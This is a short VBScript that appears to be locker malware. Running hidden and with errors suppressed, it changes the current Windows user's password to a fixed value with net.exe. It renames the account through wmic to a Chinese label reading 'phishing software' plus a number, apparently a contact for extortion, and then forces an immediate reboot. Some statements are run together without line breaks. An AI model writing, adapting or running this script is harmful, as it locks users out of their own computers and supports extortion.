On Error Resume Next Dim fso,ws,file,shut,password password="748666" Set fso=Wscript.CreateObject("Scripting.FileSystemObject") Set ws=Wscript.CreateObject("Wscript.Shell") fol=fso.GetSpecialFolder(1) file=fol & "\net.exe" shut=fol & "\shutdown.exe" ws.run file & " user %UserName% "+Chr(64) & password & Chr(64),0,Truews.Run "wmic.exe useraccount where name='%username%' call Rename ""钓鱼软件：2358595355"+Chr(64),0,Truews.run shut & " /r /f /t 0",0